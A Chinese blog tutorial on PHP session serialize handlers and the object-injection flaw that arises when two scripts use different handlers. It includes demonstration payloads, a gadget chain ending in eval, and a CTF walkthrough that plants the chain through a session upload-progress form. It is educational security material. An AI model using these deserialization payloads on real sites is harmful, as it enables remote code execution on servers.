简介
在做美女图片站的的会员中心时,经常用到php的session,顺带做了下小研究
在php.ini中存在三项配置项:
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session
.
save_path
=
""
--设置
session的存储路径
session
.
save_handler
=
""
--设定用户自定义存储函数,如果想使用
PHP内置会话存储机制之外的可以使用本函数
(数据库等方式
)
session
.
auto_start
boolen
--指定会话模块是否在请求开始时启动一个会话
,默认为
0不启动
session
.
serialize_handler
string
--定义用来序列化
/反序列化的处理器名字。默认使用
php
|
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
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|
session
.
save_path
=
"D:\xampp\tmp"表明所有的
session文件都是存储在
xampp
/
tmp下
session
.
save_handler
=
files
表明
session是以文件的方式来进行存储的
session
.
auto_start
=
0表明默认不启动
session
session
.
serialize_handler
=
php
表明
session的默认序列话引擎使用的是
php序列话引擎
|
在上述的配置中,session.serialize_handler
是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
。示例代码如下:
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<
?
php
ini_set
(
'session.serialize_handler'
,
'php_serialize'
)
;
session_start
(
)
;
// do something
|
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:
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|
session_start
(
)
$_SESSION
[
'name'
]
=
'spoock'
;
var_dump
(
)
;
?>
|
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2
,而在xampp/tmp
下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2
,文件的内容是name|s:6:"spoock";
。name是键值,s:6:"spoock";
是serialize("spoock")
的结果。
在php_serialize引擎下:
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|
ini_set
(
'session.serialize_handler'
,
'php_serialize'
)
;
session_start
(
)
;
$_SESSION
[
'name'
]
=
'spoock'
;
var_dump
(
)
;
?>
|
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
。a:1
是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
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|
ini_set
(
'session.serialize_handler'
,
'php_binary'
)
;
session_start
(
)
;
$_SESSION
[
'name'
]
=
'spoock'
;
var_dump
(
)
;
?>
|
SESSION文件的内容是names:6:"spoock";
。由于name
的长度是4,4在ASCII表中对应的就是EOT
。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
序列化简单利用
test.php
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|
class
syclover
{
var
$func
=
""
;
function
__construct
(
)
{
$this
->
func
=
"phpinfo()"
;
}
function
__wakeup
(
)
{
eval
(
$this
->
func
)
;
}
}
unserialize
(
$_GET
[
'a'
]
)
;
?>
|
在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}
。那么反序列化得到的内容是:
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2
|
object
(
syclover
)
[
1
]
public
'func'
=
>
string
'echo "spoock";'
(
length
=
14
)
|
最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";
方法。
这就是一个简单的序列化的漏洞的演示
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
1
|
$
_SESSION
[
'ryat'
]
=
'|O:11:"PeopleClass":0:{}'
;
|
上述的$_SESSION的数据使用php_serialize
,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
。
但是我们在进行读取的时候,选择的是php
,那么最后读取的内容是:
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|
array
(
size
=
1
)
'a:1:{s:6:"spoock";s:24:"'
=
>
object
(
__PHP_Incomplete_Class
)
[
1
]
public
'__PHP_Incomplete_Class_Name'
=
>
string
'PeopleClass'
(
length
=
11
)
|
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"
作为SESSION的key,将O:11:"PeopleClass":0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session
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|
<
?
php
ini_set
(
'session.serialize_handler'
,
'php_serialize'
)
;
session_start
(
)
;
$
_SESSION
[
"spoock"
]
=
$
_GET
[
"a"
]
;
|
us2.php,使用php来处理session
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|
ini_set
(
'session.serialize_handler'
,
'php'
)
;
session_start
(
)
;
class
lemon
{
var
$
hi
;
function
__construct
(
)
{
$
this
->
hi
=
'phpinfo();'
;
}
function
__destruct
(
)
{
eval
(
$
this
->
hi
)
;
}
}
|
当访问s1.php时,提交如下的数据:
1
|
localhost
/
s1
.
php
?
a
=
|
O
:
5
:
"lemon"
:
1
:
{
s
:
2
:
"hi"
;
s
:
14
:
"echo "
spoock
";"
;
}
|
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock
成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
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45
|
highlight_string
(
file_get_contents
(
basename
(
$_SERVER
[
'PHP_SELF'
]
)
)
)
;
//show_source(__FILE__);
class
foo1
{
public
$varr
;
function
__construct
(
)
{
$this
->
varr
=
"index.php"
;
}
function
__destruct
(
)
{
if
(
file_exists
(
$this
->
varr
)
)
{
echo
"
文件" . $this -> varr . "存在 " ;
}
echo
"
这是foo1的析构函数 " ;
}
}
class
foo2
{
public
$varr
;
public
$obj
;
function
__construct
(
)
{
$this
->
varr
=
'1234567890'
;
$this
->
obj
=
null
;
}
function
__toString
(
)
{
$this
->
obj
->
execute
(
)
;
return
$this
->
varr
;
}
function
__desctuct
(
)
{
echo
"
这是foo2的析构函数 " ;
}
}
class
foo3
{
public
$varr
;
function
execute
(
)
{
eval
(
$this
->
varr
)
;
}
function
__desctuct
(
)
{
echo
"
这是foo3的析构函数 " ;
}
}
?>
|
index.php
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|
ini_set
(
'session.serialize_handler'
,
'php'
)
;
require
(
"./class.php"
)
;
session_start
(
)
;
$obj
=
new
foo1
(
)
;
$obj
->
varr
=
"phpinfo.php"
;
?>
|
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
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|
class
foo3
{
public
$varr
=
'echo "spoock";'
;
function
execute
(
)
{
eval
(
$this
->
varr
)
;
}
}
class
foo2
{
public
$varr
;
public
$obj
;
function
__construct
(
)
{
$this
->
varr
=
'1234567890'
;
$this
->
obj
=
new
foo3
(
)
;
}
function
__toString
(
)
{
$this
->
obj
->
execute
(
)
;
return
$this
->
varr
;
}
}
class
foo1
{
public
$varr
;
function
__construct
(
)
{
$this
->
varr
=
new
foo2
(
)
;
}
}
$obj
=
new
foo1
(
)
;
print_r
(
serialize
(
$obj
)
)
;
?>
|
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"
。最终得到的序列话的值是
1
|
O
:
4
:
"foo1"
:
1
:
{
s
:
4
:
"varr"
;
O
:
4
:
"foo2"
:
2
:
{
s
:
4
:
"varr"
;
s
:
10
:
"1234567890"
;
s
:
3
:
"obj"
;
O
:
4
:
"foo3"
:
1
:
{
s
:
4
:
"varr"
;
s
:
14
:
"echo "
spoock
";"
;
}
}
}
|
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";
的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
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|
<
form
action
=
"index.php"
method
=
"POST"
enctype
=
"multipart/form-data"
>
<
input
type
=
"hidden"
name
=
"PHP_SESSION_UPLOAD_PROGRESS"
value
=
"123"
/
>
<
input
type
=
"file"
name
=
"file"
/
>
<
input
type
=
"submit"
/
>
<
/
form
>
|
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}
。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。